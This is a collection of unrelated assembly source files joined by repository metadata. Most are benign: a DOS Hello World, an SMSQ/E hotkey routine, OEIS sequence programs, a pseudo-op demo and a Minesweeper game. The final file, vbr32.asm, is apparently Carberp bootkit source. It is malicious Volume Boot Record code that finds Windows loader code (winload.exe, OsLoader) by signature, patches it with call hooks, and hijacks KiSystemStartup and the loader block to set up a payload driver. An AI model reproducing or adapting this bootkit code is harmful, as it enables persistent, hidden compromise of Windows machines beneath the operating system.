; asm101-02: Chuong trinh Hello World! .model small .stack 100h .data msg db 'Hello World!$' .code main proc ; Khoi tao thanh ghi ds mov ax, @data mov ds, ax ; Doan in ra Hello World! mov ah, 09h lea dx, msg int 21h ; Ket thuc chuong trinh mov ah, 4ch int 21h main endp end main ; Note: ; - .model small : Khai bao kich thuoc chuong trinh ; - .stack 100h : Khai bao kich thuoc ngan xep ; - .data : Khai bao doan du lieu ; - msg : Ten bien, luu tai doan du lieu ; - db : Toan tu gia?(pseudo-op) - Dinh nghia so lieu kieu byte ; - 'Hello World!$' : Chuoi gia tri cua bien msg, dau '$' la ky hieu ket thuc chuoi ; - .code : Khai bao doan code ; - proc : Toan tu gia, se khong duoc bien dich, truong hop nay proc tao gia mot thu tuc (procedure) ; - endp : Ket thuc thu tuc ; - end : Ket thuc chuong trinh
27.171429
111
0.572029
50f7a2f87b118b7217b6f0a32829bfc6333951bf
2,089
asm
Assembly
sbsext/tk2/hotstuff.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
sbsext/tk2/hotstuff.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
sbsext/tk2/hotstuff.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; Stuff HOTKEY buffer  1991 Jochen Merz V0.01 ; ; 2018-01-16 1.00 Compact(er) version for TK2 ROM use (MK) section utility include dev8_keys_hk_vector include dev8_keys_qdos_sms include dev8_keys_thg include dev8_keys_err include dev8_keys_sys xdef ut_stufc ;+++ ; Stuff some characters into the HOTKEY buffer. ; ; Entry Exit ; D0 error ; D2 number of characters smashed ; A1 ptr to characters ;--- ut_stufc movem.l d1-d2/d4/d7/a0-a5,-(sp) move.l a1,a5 ; save chars move.w d2,d4 ; save number of chars bsr.s ut_thvec ; get THING vector bne.s stf_err lea hk_thing,a0 ; Hotkey Extension moveq #127,d3 ; timeout moveq #sms.myjb,d1 ; that's the current job moveq #sms.uthg,d0 ; use Thing jsr (a4) ; do it move.l a1,a3 ; the Hotkey linkage must be in A3 move.l a5,a1 ; restore chars bne.s stf_err move.w d4,d2 ; restore number of chars move.l hk.stbuf(a3),a2 jsr (a2) moveq #sms.myjb,d1 ; that's the current job moveq #sms.fthg,d0 ; free Thing jsr (a4) ; do it stf_err movem.l (sp)+,d1-d2/d4/d7/a0-a5 rts hk_thing dc.w 6,'Hotkey' ;+++ ; Find Thing utilitiy vector of HOTKEY System II. ; Note this only works if a HOTKEY System version 2.03 or later is present. ; ; Entry Exit ; a4 Thing Utility Vector ; ; Error returns: err.nimp THING does not exist ; Condition codes set ;--- ut_thvec moveq #sms.info,d0 ; get system variables trap #do.sms2 move.w sr,d7 ; save current sr trap #0 ; into supervisor mode move.l sys_thgl(a0),d1 ; this is the Thing list beq.s thvec_nf ; empty list, very bad! move.l d1,a0 thvec_lp move.l (a0),d1 ; get next list entry beq.s th_found ; end of list? Here should be THING! move.l d1,a0 ; next link bra thvec_lp thvec_nf moveq #err.nimp,d0 ; THING does not exist bra.s thvec_rt th_found move.l th_thing(a0),a0 ; get start of Thing cmp.l #-1,thh_type(a0) ; is it our special THING? bne.s thvec_nf ; sorry, it isn't move.l 8(a0),a4 ; this is the vector we look for thvec_rt move.w d7,sr tst.l d0 rts end
22.956044
75
0.6764
405acc492b5685076e8459a6140e1537aea24bed
341
asm
Assembly
programs/oeis/198/A198633.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/198/A198633.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/198/A198633.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A198633: Total number of round trips, each of length 2*n on the graph P_3 (o-o-o). ; 3,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768,65536,131072,262144,524288,1048576,2097152,4194304,8388608,16777216,33554432,67108864,134217728,268435456,536870912,1073741824,2147483648 add $0,1 mov $1,2 pow $1,$0 trn $1,3 add $1,3 mov $0,$1
34.1
198
0.750733
f68f701cd3e74971162209d9ec0c59bf11b35db1
943
asm
Assembly
CS300s/CS310/Handouts/AssemblerExamples2/pseudoops.asm
AndrewZurn/sju-compsci-archive
3ea0e4f0db8453a011fc7511140df788dde5aae2
[ "Apache-2.0" ]
null
null
null
CS300s/CS310/Handouts/AssemblerExamples2/pseudoops.asm
AndrewZurn/sju-compsci-archive
3ea0e4f0db8453a011fc7511140df788dde5aae2
[ "Apache-2.0" ]
null
null
null
CS300s/CS310/Handouts/AssemblerExamples2/pseudoops.asm
AndrewZurn/sju-compsci-archive
3ea0e4f0db8453a011fc7511140df788dde5aae2
[ "Apache-2.0" ]
null
null
null
DATA x 5*5,4*4,3*3,2*2,1 PROGRAM #We always initialize the stack to someplace way down in memory #-3 expands out to 111111111111101 - two places from the end of memory imlo sp -3 #imm R2 x translates into imlo R2 lower half of x's address #followed by imhi R2 upper half of x's address imm R2 x #read r2 translates into imlo scr 0xfe #followed by load R2 [scr] read r2 #write r2 translates into imlo scr 0xff #followed by stor [scr] R2 write r2 #not R3 R2 translates into NXOR R3 R2 ZERO not r3 r2 #neg r4 r2 translates into sub r4 zero r2 neg r4 r2 #push r2 translates into sub sp sp one then stor [sp] r2 push r2 #pop r5 translates into load r5 [sp] then add sp sp one pop r5 #copy r3 r2 translates into or r3 r2 r2 copy r3 r2 #call subroutine translates into add RA PC ONE #followed by jump subroutine call subroutine write r6 halt subroutine write r4 #ret translates into or pc ra ra ret END
20.5
71
0.724284
cd931128e054242f6c8ea89fb440106dd26b3731
585
asm
Assembly
programs/oeis/153/A153775.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/153/A153775.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/153/A153775.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A153775: Sequence S such that 1 is in S and if x is in S, then 3x-1 and 3x are in S. ; 1,2,3,5,6,8,9,14,15,17,18,23,24,26,27,41,42,44,45,50,51,53,54,68,69,71,72,77,78,80,81,122,123,125,126,131,132,134,135,149,150,152,153,158,159,161,162,203,204,206,207,212,213,215,216,230,231,233,234,239,240,242,243,365,366,368,369,374,375,377,378,392,393,395,396,401,402,404,405,446,447,449,450,455,456,458,459,473,474,476,477,482,483,485,486,608,609,611,612,617 seq $0,191110 ; Increasing sequence generated by these rules: a(1)=1, and if x is in a then 3x and 3x+2 are in a. div $0,2 add $0,1
83.571429
363
0.704274
cd995af0298c82be17ac3ca23d753280ab8a7fa3
17,104
asm
Assembly
asm-minesweeper.asm
ARKANYOTA/ASM-Minesweeper
2c5dd32f60246f696cfb84c03f10278a33f57c82
[ "MIT" ]
1
2022-03-27T18:59:41.000Z
2022-03-27T18:59:41.000Z
asm-minesweeper.asm
ARKANYOTA/ASM-Minesweeper
2c5dd32f60246f696cfb84c03f10278a33f57c82
[ "MIT" ]
null
null
null
asm-minesweeper.asm
ARKANYOTA/ASM-Minesweeper
2c5dd32f60246f696cfb84c03f10278a33f57c82
[ "MIT" ]
null
null
null
section .data ; Data segment posMsg db `\e[37mPosition x et y sans separation: \e[0m` lenposxMsg equ $-posMsg youWinMessage db 10,`\e[32mVictoire, Bien Joué !\e[0m`, 10 ; 10 c'est le saut de ligne lenyouWinMessage equ $-youWinMessage youLoseMessage db 10,`\e[31mDéfaite, Dommage !\e[0m`, 10 lenyouLoseMessage equ $-youLoseMessage nb_bombs DQ 8 bombs DQ 0x0 ;0xa09440c820930000 flag DQ 0x0 disco DQ 0x0 zero db "0" uno db "1" sautdelMsg db "",10 whatCollIs db " 0 1 2 3 4 5 6 7" lenwhatCollIs equ $-whatCollIs espace db " " pointMsg db "." exclmMsg db ".*" ; Mettre a ! pour voir les bombes noBombAndFlagMsg db "~" justbombMsg db "#" bombAndFlagMsg db "x" isDiscoveredMsg db "-" isLose DQ 0x0 isWin DQ 0x0 num1 dq 0x0 num2 dq 0x0 num3 dq 0x0 tmpcos dq 0x0 tmpx dq 0x0 tmpy dq 0x0 cos dq 0x0 x dq 0x0 y dq 0x0 section .bss ; Uninitialized data tmp resb 1 value resb 1 section .text ; Code Segment global _start ; r8 ; bombs ; r9 ; r10 ; r11 ; is_cos_inside_output ; r12 ; isLose ; r13 ; is_cos_inside_inputx ; r14 ; is_cos_inside_inputy ; r15 ; %macro discover 1 ; Input : cos (Dans un cl ou un truc de 8 bit) | Output: Write [disco] | Modifications : rax, rbx, rcx mov cl, %1 ; On place les cos a rcx mov rax, [disco] ; on place le premier quadra word dans rax mov rbx, 1 ; Masque shl rbx, cl ; masque = (1 << rax(position random de la bombe)) or rax, rbx ; bombs |= masque mov [disco], rax ; Output dans disco %endmacro %macro isLose 0 ; disco & bombs > 0 alors isLose mov rax, [disco] mov r8, [bombs] and rax, r8 mov [isLose], rax %endmacro %macro add_number 2 ; Input : cos,valeur | Modifications : rax, rbx, rcx mov rdx, %1 mov rcx, 63 sub rcx, rdx push rcx read_number rcx pop rcx xor rax, rax mov bx, %2 mov word ax, [value] add ax, bx mov bx, 4 div bl push ax xor ah, ah gen_new_number rax, [num3], cl mov [num3], rdx pop ax shr ax, 8 mov bx, 2 div bl push ax xor ah, ah gen_new_number rax, [num2], cl mov [num2], rdx pop ax shr ax, 8 gen_new_number rax, [num1], cl mov [num1], rdx %endmacro %macro read_number 1 ; Input : cos | Output : [value] | Modifications : rax, rbx, rcx mov rcx, %1 ; On place les cos a rcx mov rax, [num1] ; on place le premier quadra word dans rax shr rax, cl ; on le bitdhift de coo and rax, 1 ; on recup seulement le premier nombre mov byte [value], al ; on initialise value à ce nombre mov rax, [num2] ; on va refaire pareil avec num2 shr rax, cl ; On bitshift num2 de cos and al, 1 ; on recup seulement le premier nombre mov bx, 2 ; On multiplie par 2**1 mul bx add [value], al ; On ajoute a value mov rax, [num3] ; On va refaire pareil avec num3 shr rax, cl ; On bitshift num2 de cos and al, 1 ; On recup seulement le premier nombre mov bx, 4 ; On multiplie par 2**2 mul bx add [value], al ; On ajoute à la value %endmacro %macro print_grid 0 mov rax, 4 ; Affiche " 0 1 2 3 4 5 6 7\n" mov rbx, 1 mov rcx, whatCollIs mov rdx, lenwhatCollIs int 80h mov rax, 0 ; Definit toute les variables dont a besoin pour affiche grid mov rbx, 0 mov rdx, 0 mov rcx, 64 mov r8, [bombs] mov r9, [flag] mov r10, [disco] mov r15, 48 ; Le numero de la line, on commance par 48 car c'est ord("0") pour pouvoir le print call affiche_grid ; Affiche toutes les lignes 1 par 1 mov rax, 4 ; Affiche "\n" mov rbx, 1 mov rcx, sautdelMsg mov rdx, 1 int 80h mov r15, 0 %endmacro %macro gen_new_number 3 ;Input : value, num, cos | Output : rdx mov cl, %3 mov rdx, %2 mov rax, %1 mov rbx, 1 shl rbx, cl not rbx and rdx, rbx mov rbx, 2 div bl shr ax, 8 shl rax, cl ; code copié depuis https://www.geeksforgeeks.org/modify-bit-given-position/ (il est 2h soyez indulgent) or rdx, rax %endmacro %macro victory_condition 0 ; ~(disco | bombs) == 0 alors isWin mov r8, [bombs] mov rax, [disco] or rax, r8 not rax mov [isWin], rax %endmacro %macro is_bomb 1 ; Input : cos | output 1 or 0 in rax | modification rax, rcx mov rax, [bombs] mov cl, %1 shr rax, cl and rax, 1 %endmacro ; Fact (n) = n * fact (n-1) for n > 0 flood_fill: ; Input [cos] | Modif : discover(rax,rbx, rcx)/is_bomb(rax,rcx), rdx ; 1. Set Q to the empty queue or stack. xor rdx, rdx mov dl, 65 push rdx ; 2. Add node to the end of Q. mov dl, [cos] push rdx ; 3. While Q is not empty: while_q_not_empty: pop rdx cmp dl, 65 je end_flood_fill ; 4. Set n equal to the first element of Q. ; Is dl ; 5. Remove first element from Q. ; Is again dl ; 6. If n is Inside: ; TODO: If indide ; Possiblemnt verif si le nb de bombre autour est egal a 0, sinon partir sur while q not empty push rdx read_number rdx pop rdx mov al, [value] cmp al, 0 jne while_q_not_empty discover dl cmp dl, 0 ; Verifie si la position est strictement inferieur a 0 jl while_q_not_empty cmp dl, 63 ; Verifie si la position est strictement supperieur a 63 jg while_q_not_empty ; Verifie si c'est une bombe is_bomb dl cmp rax, 1 ; Si la pos est une bombe ; Verifie si la case est deja découverte: mov rax, [disco] mov cl, dl shr rax, cl and rax, 1 cmp rax, 1 je while_q_not_empty discover dl ; Set the n ; Verifie le left mov al, dl cmp al, 8 ; return cos >= 8 jl next_neightbour1 dec dl ; On push dl-1 (cos a gauche) push rdx inc dl next_neightbour1: ; Verifie le up mov al, dl xor ah, ah ; Recupere que al mov bl, 8 div bl ; Divise par 8, reste dans ah cmp ah, 0 ; Si le reste n'est pas egal a 0 on return 1 ; return cos%8 != 0 je next_neightbour2 sub dl, 8 ; On push dl-8 (cos au dessus) push rdx add dl, 8 next_neightbour2: ; Verifie le down mov al, dl cmp al, 55 ; return cos <= 55 jg next_neightbour3 add dl, 8 push rdx sub dl, 8 next_neightbour3: ; Verifie le up mov al, dl xor ah, ah ; Recupere que al mov bl, 7 div bl ; Divise par 8, reste dans ah cmp ah, 0 ; Si le reste n'est pas egal a 0 on return 1 ; return cos%7 != 0 je next_neightbour4 inc dl push rdx dec dl next_neightbour4: ; 7. Continue looping until Q is exhausted. jmp while_q_not_empty end_flood_fill: ; 8. Return. ret is_cos_inside: ; Input : x[r13] y[r14], Output [r11], Modifications : rax, rdx mov rax, r14 ; y --> rax mov rdx, r13 ; x --> rdx cmp rax,0 mov r11, 0 ; Si y < 0 ==> ret jl is_no_inside cmp rax,7 ; Si y > 7 ==> ret jg is_no_inside cmp rdx,0 ; Si x < 0 ==> ret jl is_no_inside cmp rdx,7 ; Si x > 7 ==> ret jg is_no_inside mov r11, 255 ; Boolean de si la cordonnée est bonne ; Is inside is_no_inside: ret quit_program: ; Saut de ligne pour éviter le % mov rax, 4 mov rbx, 1 mov rcx, sautdelMsg mov rdx, 1 int 80h ; exit(0) xor ecx, ecx xor edx, edx mov eax, 0x1 ; Set system_call mov ebx, 0 ; Exit_code 0 int 0x80 ; Call kernel ret get_x_y: ; Input : [tmpcos], Output : [tmpx] and [tmpy] push rbx ; Je sais pas si elle est utilisé donc je la save mov rax, [tmpcos] ; Rax a l'intut tmpcos mov bl, 8 div bl ; Rax = Rax // 8, Rdx = Rax % 8 mov [tmpx], ah ; Met rax, rdx dans les variables output mov [tmpy], al pop rbx ; Recuperer les variable size ret user_input: ; Output: [tmpx], [tmpy], [cos] mov eax, 3 ; Input in cos mov ebx, 2 mov edx, 4 mov ecx, cos int 80h mov rdx, 0 mov bx, 0b100000000 ;Prend seleuement de 2 premiers caracteres mov eax, [cos] div bx ; division pour la co x sub rdx, 48 mov [x], rdx ; Move de la coo X mov rdx, 0 div bx ; redivision pour la co y sub rdx, 48 mov [y], rdx ; move de la co y mov eax, 0 mov [cos], eax mov bx, 8 mov al, [y] ; On multiplie y par 8 pour avoir la ligne mul bl add al, [x] mov [cos], al ; On ajoute la colonne ; Reset varaibles xor rax,rax ; reset al xor rbx,rbx xor rcx,rcx ret generate_bomb: ; Input [cos] mov r8, [bombs] ; On met bombs dans r8 que ganera un bit a chaque itération mov rcx, [nb_bombs] ; Nombre de bombe dans rcx generate_bombs_loop: ;rax = RANDOM ; Générer un nombre aléatoire dans la variable eax L: rdrand ax ; https://rosettacode.org/wiki/Random_number_generator_(device)#X86_Assembly jnc L ; rax(random) %= 64 and ax, 63 mov [tmpcos], al ; Met le reste ; Condition de si la bombe est deja placée push rcx ; Save rcx mov rcx, [tmpcos] ; shr ne marche que avec cl(rcx) donc je passe rax a rcx mov rbx, r8 ; passe r8 a rbx, pour eviter de le deruire shr rbx, cl ; RightBitShift de cos and rbx, 1 ; Si rbx = 1; Alors bombe sinin pas bombe pop rcx ; Recuperer rcx cmp rbx, 1 ; Si bombe est deja ici je generate_bombs_loop ; on genere une autre bombe mov rax, [tmpcos] mov rdx, [cos] cmp rax, rdx ; Si la position de la bombe (tmpcos) est la ou a cliquer le joueur(cos) je generate_bombs_loop ; On genere une autre bombe push rcx ; Sauvgarde rcx(Compteur nb_bombes) mov rbx, 1 ; Masque mov rcx, [tmpcos] ; shr ne marche que avec cl(rcx) shl rbx, cl ; masque = (1 << rax(position random de la bombe)) or r8, rbx ; bombs |= masque call get_x_y mov rax, [tmpy] ; On move y a rax qui sera l'itérateur sur le y mov rdx, [tmpx] ; On move x a rdx qui sera l'itérateur sur le x add byte [tmpy], 2 add byte [tmpx], 2 dec rdx ; On les decremente car on part de y-1 pour aller a y+2 dec rax ; idem avec x neighbours1: neighbours2: mov r14, rax mov r13, rdx call is_cos_inside ; vérifie que les coordonées sont à l'intèrieur de la grille mov rax, r14 mov rdx, r13 cmp r11, 255 ; Si oui : jne neighboursNotInside ; Appeller la fonction pour augmenter le nombre push rdx ; On pus l'itérateur du x push rax ; On pus l'itérateur du y mov bl, 8 ; On place 8 à bl pour multiplier rax par bl après mul bl ; On multiplie le y par 8 pour avoir la ligne add rax, rdx ; On ajoute x pour avoir la co add_number rax, 1 ; On ajoute 1 a la valeur de la case avec write_number pop rax ; On recup l'itérateur y pop rdx ; On recup l'itérateur x neighboursNotInside: inc rdx ; On augmente l'itérateur du x cmp rdx, [tmpx] ; tant que rdx <= x+2 : jl neighbours2 ; boucler mov rdx, [tmpx] ; reset l'itérateur du x sub rdx, 3 ; et on le remet à x-1 inc rax ; on incrémente l'itérateur cmp rax, [tmpy] ; Condition du while rax<y+2 jl neighbours1 ; se réappelle si la condition n'est pas respectée pop rcx ; On reprend rcx en tant que nb_bombs dec rcx ; On passe a la prochaine bombe cmp rcx, 0 ; Si y a plus de bombes a placer on quitte jne generate_bombs_loop mov [bombs], r8 ; bombs a ete bien générée ; Variable reset xor rax, rax xor rbx, rbx xor rcx, rcx xor rdx, rdx ret affiche_grid: ; Input r8 as [bombs], r9 as [flag], r10 as [disco], r15 as ligne ; Output None | Modification r[abcd]x xor rdx, rdx ; Verifie si c'est un modulo 8 pour sauter une ligne mov rax, rcx mov rbx, 8 div rbx dec rcx ; Passe a l'itteration suivante push rcx ; Sauvgarde rcx, je sais pas si c'est utile cmp rdx, 0 ; Si c'est modulo 8 on saute une ligne, car c'est le premier char de la ligne jne pass_saut_de_ligne ; Sinon passe mov rax, 4 ; Saute une ligne mov rbx, 1 mov rcx, sautdelMsg mov rdx, 1 int 80h mov byte[rsp-1], r15b ; Print The current ligne mov eax,1 ; Write system call number mov edi,1 ; file descriptor (1 = stdout) lea rsi,[rsp-1] ; address of message on the stack mov edx,1 ; length of message syscall ; Call system, pas int 80h car sa marche pas mov rax, 4 ; Print un espace après le nombre mov rbx, 1 mov rcx,espace mov rdx, 1 int 80h inc r15 ; Ajoute 1 au nombre de lignes pass_saut_de_ligne: pop rcx push rcx mov rax, r9 ; Met r8(bombs avec le lsb etant la position acctuelle) dans rax shr rax, 1 ; Passe a la bombe suivante mov r9, rax ; Re sauvgarde rax dans r8 ; Affiche le premier caractere mov rax, r10 ; Met r8(bombs avec le lsb etant la position acctuelle) dans rax shr rax, 1 ; Passe a la bombe suivante mov r10, rax ; Re sauvgarde rax dans r8 jc print_is_disco ; Si c'est pas decouvert mov rax, r8 ; Met r8(bombs avec le lsb etant la position acctuelle) dans rax shr rax, 1 ; Passe a la bombe suivante mov r8, rax ; Re sauvgarde rax dans r8 jc print_bomb_di print_no_bomb_di: ; Si y a pas de bombe mov rax, 4 mov rbx, 1 mov rcx, pointMsg ; affiche "." mov rdx, 1 int 80h jmp end_print_disco print_bomb_di: ; Pour debug mov rax, 4 mov rbx, 1 mov rcx, exclmMsg ; affiche "!" mov rdx, 1 int 80h jmp end_print_disco print_is_disco: ; Si c'est découvert ; Si le lsb modulo 2 est 1 ou 0 pour print 1 ou 0 mov rax, r8 ; Met r8(bombs avec le lsb etant la position acctuelle) dans rax shr rax, 1 ; Passe a la bombe suivante mov r8, rax ; Re sauvgarde rax dans r8 jc print_bomb print_no_bomb: ; Si y a pas de bombe ; Print le nombre de bombe de nombre autour read_number rcx ; Lit le nombre de bombe autour mov rax, [value] ; Le met dans rax add al, 48 ; Ajoute 48 pour avoir l'assci du nombre bombe autour mov byte[rsp-1], al ; Ajoute au stack mov eax,1 ; Write system call number mov edi,1 ; file descriptor (1 = stdout) lea rsi,[rsp-1] ; address of message on the stack mov edx,1 ; length of message syscall ; Syscall, mais pas int 80h car sa marche pas jmp end_print print_bomb: mov rax, 4 mov rbx, 1 mov rcx, bombAndFlagMsg ; Print "x" mov rdx, 1 int 80h jmp end_print end_print: end_print_disco: mov rax, 4 mov rbx, 1 mov rcx, espace ; affiche "!" mov rdx, 1 int 80h pop rcx ; Re recupere le rcx en tant que compteur cmp rcx, 0 ; Si on est a la fin on quitte jne affiche_grid ret ; discover: ;Input [tmpcos]; ; rcx, = cos ; rax= y; rdx = x ; mov rcx, [tmpcos] ; ; mov r10, [disco] ; mov rbx, 1 ; Masque ; ; mov rcx, [cos] ; a faire avant ; shl rbx, cl ; masque = (1 << rax(position random de la bombe)) ; or r10, rbx ; bombs |= masque ; mov [disco], r10 ; ret _start: ; User prompt call user_input ; Input, output [cos], [x], [y] call generate_bomb ; Input [cos], ouput [bombs] ; call get_x_and_y mov dl, [cos] discover dl while_true: print_grid ; call is_game_finished mov eax, 4 mov ebx, 1 mov ecx, posMsg mov edx, lenposxMsg int 80h call user_input ; xor rax, rax ; xor rbx, rbx ; xor rcx, rcx ; xor rdx, rdx mov rcx, [cos] ; call get_x_y call flood_fill mov dl, [cos] discover dl isLose cmp qword [isLose], 0 jg lose ; mov r8, [bombs] ; mov r9, [flag] ; mov r10, [disco] victory_condition cmp qword [isWin], 0 je win jmp while_true lose: mov eax,4 mov ebx,1 mov ecx, youLoseMessage mov edx, lenyouLoseMessage int 80h jmp gameEnd win: mov eax,4 mov ebx,1 mov ecx, youWinMessage mov edx, lenyouWinMessage int 80h gameEnd: print_grid call quit_program
24.504298
123
0.581501
32bc2edaba5031ed6e450719388ea3d6160d5918
26,716
asm
Assembly
Win32.Carberp.b/source - absource/pro/all source/bootkit/BKGen/i386/vbr32.asm
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
2
2021-02-04T06:47:45.000Z
2021-07-28T10:02:10.000Z
Win32.Carberp/all source/bootkit/BKGen/i386/vbr32.asm
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
null
null
null
Win32.Carberp/all source/bootkit/BKGen/i386/vbr32.asm
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
null
null
null
;////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ;// BK initial loader stub. Version 2.9.2 ;// ;// module: vbr32.asm ;// $Revision: 75 $ ;// $Date: 2012-06-14 17:13:00 +0400 (Чт, 14 июн 2012) $ ;// description: ;// BK Volume Boot Record. 32-bit functions. .686p .model flat, stdcall include <windows.inc> include <catchy32.inc> include <vbr.inc> include <variables.h> extern Core16_start:DWORD extern Core16_end:DWORD extern Entry16_start:DWORD extern Entry16_end:DWORD extern Startup16_start:DWORD extern Startup16_end:DWORD extern Main16_start:DWORD extern Main16_end:DWORD extern Ofs_start:DWORD extern Ofs_end:DWORD extern Unpack_start:DWORD extern Unpack_end:DWORD extern DoMatch_start:DWORD extern DoMatch_end:DWORD extern GetBit_start:DWORD extern GetBit_end:DWORD extern NormalCp_start:DWORD extern NormalCp_end:DWORD extern GetGamma_start:DWORD extern GetGamma_end:DWORD extern Handler15_start:DWORD extern Handler15_end:DWORD extern Handler13_start:DWORD extern Handler13_end:DWORD extern PmInit_start:DWORD extern PmInit_end:DWORD extern PatchLdr_start:DWORD extern PatchLdr_end:DWORD extern HookIdt_start:DWORD extern HookIdt_end:DWORD extern LoadData_start:DWORD extern LoadData_end:DWORD .data g_VBR_blocks dd Main16_start, Main16_end, B_CODE16 dd Unpack_start, Unpack_end + 1, 0 dd DoMatch_start, DoMatch_end + 1, 0 dd GetBit_start, GetBit_end + 1, 0 dd GetGamma_start, GetGamma_end + 1, 0 dd NormalCp_start, NormalCp_end + 1, 0 dd ApplyRelocs, ApplyRelocs_end+1, 0 dd Handler13_start, Handler13_end, B_CODE16 dd Ofs_start, Ofs_end, B_CODE16 dd PmInit_start, PmInit_end, B_CODE16 dd GetWinload, GetWinload_end, 0 dd Int1Handler, Int1Handler_end, 0 dd PatchLdr_start, PatchLdr_end, B_CODE16 dd Winload, Winload_end+1, 0 dd InitNt, InitNt_end, 0 dd TransferHook5, TransferHook5_end+1, 0 dd LmSwitch, LmSwitch_end+1, 0 dd PatchCall, PatchCall_end+1, 0 dd HookAlloc6, HookAlloc6_end+1, 0 dd LoadFile6, LoadFile6_end+1, 0 dd RestoreCall, RestoreCall_end+1, 0 dd FileName, FileName_end, B_DATA + B_INIT dd GetParamPtr, GetParamPtr_end+1, 0 dd HookAlloc5, HookAlloc5_end, 0 dd LoadFile5, LoadFile5_end, 0 dd RegisterDriver, RegisterDriver_end+1, 0 dd TransferHook6, TransferHook6_end+1, 0 dd HookIdt_start, HookIdt_end, B_CODE16 dd LoadData_start, LoadData_end, B_CODE16 dd BuildImage, BuildImage_end+1, 0 dd Handler15_start, Handler15_end, B_CODE16 dd KernelHook5, KernelHook5_end+1, 0 dd DecryptImage, DecryptImage_end+1, 0 dd Startup16_start, Startup16_end, B_CODE16 + B_INIT + B_JUMPS ;// ---- Special blocks without indexes ---- dd Entry16_start, Entry16_end, B_ENTRY + B_CODE16 + B_INIT + B_NOEBP dd Core16_start, Core16_end, B_CORE + B_CODE16 dd 0 .code PUBLIC g_VBR_blocks ;// Scans Winload.exe or OSLoader.exe for signatures of instructions executed just before ;// transferring control to the NT kernel. ;// Patches found instruction with "CALL NEAR XXXX" to a execute at this point. Winload proc ;// EDX - current instruction ;// ESI - current code offset ;// EBP - core push edi ;// First looking for the '68 4B 23 00 00' pattern, which is 'PUSH 234B' ;// This is for NT5 x86 OsLoader only. push edx pop edi mov ecx, 70000h mov al, 068h @@: repnz scasb jecxz Winload_next cmp dword ptr [edi], 0000234bh ;// push 234bh jnz @B ;// NT5 uses two types of loader: prior to SP3 and after sub edi, 20 ;// This is for XP SP3 loader cmp word ptr [edi], 0b5ffh ;// push [ebp+XXXX] jz @F add edi, 3 cmp word ptr [edi], 075ffh ;// push [ebp+XX] jz @F ;// This is for XP SP1 and SP2 loader add edi, 2 cmp word ptr [edi], 095ffh ;// call [ebp+XXXX] jz @F add edi, 3 cmp word ptr [edi], 055ffh ;// call [ebp+XX] jz @F add edi, 12 jmp @B @@: ;// NT5 x86 OsLoader only MOV_CL_ID F_TransferHook5 jmp Winload_patch Winload_next: push edx pop edi mov ecx, 0cffffh mov al, 0fh @@: repnz scasb jecxz Winload_exit cmp word ptr [edi], 0d800h ;// LTR EAX jnz @B push 40h pop ecx mov al, 0cbh ;// RETF for NT6 repnz scasb jecxz Winload_exit ;// This is NT6 signature MOV_CL_ID F_TransferHook6 REXW sub edi, 2 Winload_patch: call ebp db F_PatchCall Winload_exit: pop edi Winload_end:: ret Winload endp ;// NT6 specific function. ;// Scans winload.exe image for any BlImgAllocateImageBuffer() function call. ;// Patches the function found. ;// NT6 specific function. ;// Replaces final RETF instruction within winload!OslArchTransferToKernel function. ;// KiSystemStartup address is within the stack, address of the Loader Block is the first parameter. TransferHook6 proc ;// ---- dont't touch this coz it used to store our code base ;// ---- PUSHAD/MOV ESI,XXXX = CODE_BASE_OFFSET push esi mov esi, 12345678h ;//--------------------------------------------------------- push edx push edi push ebp push ecx push eax ;// KiSystemStartup for x86 mov ebp, var_offset_core REXW add ebp, esi ;// Restoring patched bytes to original values mov cl, 6 call ebp db F_RestoreCall ;// Getting NT entry address from the stack mov cl, 7 call ebp db F_GetParamPtr xor eax,eax pop edx ;// KiSystemStartup for x86 push edx REXW cmovz edx, [edi] ;// KiSystemStartup for x64 ;// Getting Loader Block address mov ecx, [esp+24h] ;// 1st parameter to KiSystemStartup (Loader Block) REXW cmovz ecx, [esp+8] ;// Initializing loader call ebp db F_InitNt pop eax pop ecx pop ebp pop edi pop edx pop esi TransferHook6_end:: ret TransferHook6 endp ;// NT5 specific function. ;// Patches KiSystemStartup() entry. Resolves Loader parameter block and initializes payload driver. KernelHook5 proc ;// ---- dont't touch this coz it used to store our code base ;// ---- PUSHAD/MOV ESI,XXXX = CODE_BASE_OFFSET push esi mov esi, 12345678h ;//--------------------------------------------------------- push edx push edi push ebp push ecx mov ebp, var_offset_core REXW add ebp, esi ;// Restoring patched bytes to original values mov cl, 5 call ebp db F_RestoreCall push ecx ;// Points to original bytes (KiSystemStartup) pop edx ;// Getting Loader Block address xor eax,eax mov ecx, [esp+1ch] ;// 1st parameter to KiSystemStartup (Loader Block) REXW cmovz ecx, [esp] ;// Initializing loader call ebp db F_InitNt pop ecx pop ebp pop edi pop edx pop esi KernelHook5_end:: ret KernelHook5 endp ;// NT5 specific function. 